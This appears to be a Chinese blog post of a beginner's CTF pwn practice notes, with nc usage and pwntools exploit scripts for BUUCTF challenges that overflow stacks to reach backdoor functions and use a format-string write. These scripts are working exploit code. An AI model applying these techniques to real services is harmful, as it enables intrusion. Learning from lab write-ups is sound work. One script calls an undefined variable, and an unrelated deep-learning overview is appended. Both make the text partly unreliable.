2021寒假练习笔记

本文介绍了多个CTF比赛中的pwn题目解决过程,包括nc命令详解、栈溢出利用、IDA分析及exploit编写。通过连接靶场,利用缓冲区溢出漏洞,构造payload来获取flag。涉及的知识点包括远程连接技巧、程序漏洞分析及exploit编写技术。
摘要由CSDN通过智能技术生成



test_your_nc

在这里插入图片描述

nc靶场
nc node3.buuoj.cn 28740

先连接到靶场,之后执行ls命令后,即可显示靶场下文件目录:
在这里插入图片描述
接着输入cat flag,查看flag目录下的文件,即可得到flag

flag{7c5e5eee-5013-42d8-a5b1-eaf0cd513a1f}

nc 命令注解

在这里插入图片描述

-c shell命令为“-e”;使用/bin/sh来执行 [危险]

-e 文件名程序在连接后执行 [危险]

-b 允许广播

-g 网关源路由跃点,最多8个

-G num源路由指针:4,8,12。。。

-i secs 发送的线路和扫描的端口的延迟间隔为1秒

-k 在套接字上设置keepalive选项

-l 监听模式,用于入站连接

-n 仅数字IP地址,无DNS

-o 文件十六进制流量转储

-p 端口本地端口号

-r 随机化本地和远程端口

-q secs 在stdin上的EOF和秒延迟后q秒退出

-s addr地址本地源地址

-T tos 设置服务类型

-t 应答TELNET协商

-u UDP模式

-v verbose(使用两次可更详细)

-w 秒连接和最终网络读取超时

-C 发送CRLF作为行尾

-z 零I/O模式(用于扫描)



rip

在这里插入图片描述因为是零基础的初学者,所以就看了网上的一些wp

IDA查看pwn1附件

按 please input 进行数据块跳转。
在这里插入图片描述F5查看伪代码后,可以看到gets函数。(gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。
双击 s ,查看需要多少字节 。以此来确定偏移量。
在这里插入图片描述所以只要存入15个字节地址,就可以gey函数返回地址。
因此再回来看fun()函数,就是一个系统调用,故payload=‘a’ * 15 + p64(0x401186)

exp
#!/usr/bin/env python
# coding=utf-8

from pwn import *

#p = process('./pwn1')
p = remote('node3.buuoj.cn', 26692)

#p.recvuntil("please input") 
buf = 'a' * (0xf + 0x8) + p64(0x401198) + p64(0x401186) 
#gdb.attach(p)

p.sendline(buf_1)

p.interactive()

之后:

python pwn_rip.py
ls
cat flag

便可得到flag。



2021.01.25-2021.01.30



warmup_csaw_2016

在这里插入图片描述
连接靶场:nc node3.buuoj.cn 25333

root@kali:/home/kylin# nc node3.buuoj.cn 25333
-Warm Up-
WOW:0x40060d
>

得到 addr:0x40060d

载入IDA查看:
在这里插入图片描述

exp
from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sl=lambda x:io.sendline(x)

io=remote('node3.buuoj.cn',29040)

payload='a'*(0x40+8)+p64(0x40060d)
sl(payload)

io.interactive()

运行脚本得到flag。



pwn1_sctf_2016

在这里插入图片描述
下载得到 pwn1_sctf_2016 文件

file pwn1_sctf_2016

在这里插入图片描述
找到漏洞函数,s的长度为0x3c,而我们只能输入32个字符,不足以栈溢出,但是发现replace函数会把输入的 I 替换成 you ,这样的话输入20个 I 就能填满s
在这里插入图片描述
找到后门函数:
在这里插入图片描述

exp
from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='i386'
context.log_level='debug'

sl=lambda x:io.sendline(x)

io=remote('xxx',xxx)

payload='I'*20+'a'*4+p32(0x8048f0d)
sl(payload)

io.interactive()

运行脚本得到flag:
在这里插入图片描述



2021.02.01-2021.02.06



ciscn_2019_n_1

在这里插入图片描述
checksec一下:
在这里插入图片描述
IDA打开,发现如果满足的条件达成,就能get flag
找到栈溢出漏洞,输入可以覆盖到v2
在这里插入图片描述
写代码把11.28125在内存中的十六进制表示出来
在这里插入图片描述

exp
from pwn import *

p = remote('node3.buuoj.cn',28941)
Payload = b'a'*(0x30 - 0x4) + p64(0x41348000)
p.sendline(Payload)
p.interactive()

运行脚本得到flag:
在这里插入图片描述



jarvisoj_level0

在这里插入图片描述
checksec一下,栈溢出:
在这里插入图片描述
IDA打开,发现后门函数:
在这里插入图片描述

exp
from pwn import *
p = remote("node3.buuoj.cn",27290)
ret_arr = 0X40059A
payload = 'a'*(0x80 + 0x8) + p64(ret_arr)
p.sendline(payload)
p.interactive()

运行脚本得到flag:
在这里插入图片描述



2021.02.08-2021.02.13



[第五空间2019 决赛]PWN5

在这里插入图片描述
checksec一下:
在这里插入图片描述
使用IDA查看:
在这里插入图片描述
先输入AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x········来确定输入首地址的偏移(找到41414141就是AAAA)
之后只要修改随机数的值,让输入和随机数的值一样就可以了。

exp
from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",29224)

unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x1111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1111))
p.interactive()

运行脚本得到flag:
在这里插入图片描述



[BJDCTF 2nd]r2t3

在这里插入图片描述
checksec一下:
在这里插入图片描述
nc一下看看程序的大概执行情况
在这里插入图片描述
使用IDA查看:
在这里插入图片描述

根据nc得到的提示字符串,找到输入点,第10行的read对读入的buf进行了限制,没法造成溢出

exp
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',26779)

p.recvuntil("name:")
payload=(0x11+0x4)*b'a'+p32(0x0804858B)
payload=payload.ljust(262,b'a')
p.sendline(payload)

p.interactive()

运行脚本得到flag:
在这里插入图片描述



2021.02.15-2021.02.20

深度学习是机器学习的一个子领域,它基于人工神经网络的研究,特别是利用多层次的神经网络来进行学习和模式识别。深度学习模型能够学习数据的高层次特征,这些特征对于图像和语音识别、自然语言处理、医学图像分析等应用至关重要。以下是深度学习的一些关键概念和组成部分: 1. **神经网络(Neural Networks)**:深度学习的基础是人工神经网络,它是由多个层组成的网络结构,包括输入层、隐藏层和输出层。每个层由多个神经元组成,神经元之间通过权重连接。 2. **前馈神经网络(Feedforward Neural Networks)**:这是最常见的神经网络类型,信息从输入层流向隐藏层,最终到达输出层。 3. **卷积神经网络(Convolutional Neural Networks, CNNs)**:这种网络特别适合处理具有网格结构的数据,如图像。它们使用卷积层来提取图像的特征。 4. **循环神经网络(Recurrent Neural Networks, RNNs)**:这种网络能够处理序列数据,如时间序列或自然语言,因为它们具有记忆功能,能够捕捉数据中的时间依赖性。 5. **长短期记忆网络(Long Short-Term Memory, LSTM)**:LSTM 是一种特殊的 RNN,它能够学习长期依赖关系,非常适合复杂的序列预测任务。 6. **生成对抗网络(Generative Adversarial Networks, GANs)**:由两个网络组成,一个生成器和一个判别器,它们相互竞争,生成器生成数据,判别器评估数据的真实性。 7. **深度学习框架**:如 TensorFlow、Keras、PyTorch 等,这些框架提供了构建、训练和部署深度学习模型的工具和库。 8. **激活函数(Activation Functions)**:如 ReLU、Sigmoid、Tanh 等,它们在神经网络中用于添加非线性,使得网络能够学习复杂的函数。 9. **损失函数(Loss Functions)**:用于评估模型的预测与真实值之间的差异,常见的损失函数包括均方误差(MSE)、交叉熵(Cross-Entropy)等。 10. **优化算法(Optimization Algorithms)**:如梯度下降(Gradient Descent)、随机梯度下降(SGD)、Adam 等,用于更新网络权重,以最小化损失函数。 11. **正则化(Regularization)**:技术如 Dropout、L1/L2 正则化等,用于防止模型过拟合。 12. **迁移学习(Transfer Learning)**:利用在一个任务上训练好的模型来提高另一个相关任务的性能。 深度学习在许多领域都取得了显著的成就,但它也面临着一些挑战,如对大量数据的依赖、模型的解释性差、计算资源消耗大等。研究人员正在不断探索新的方法来解决这些问题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值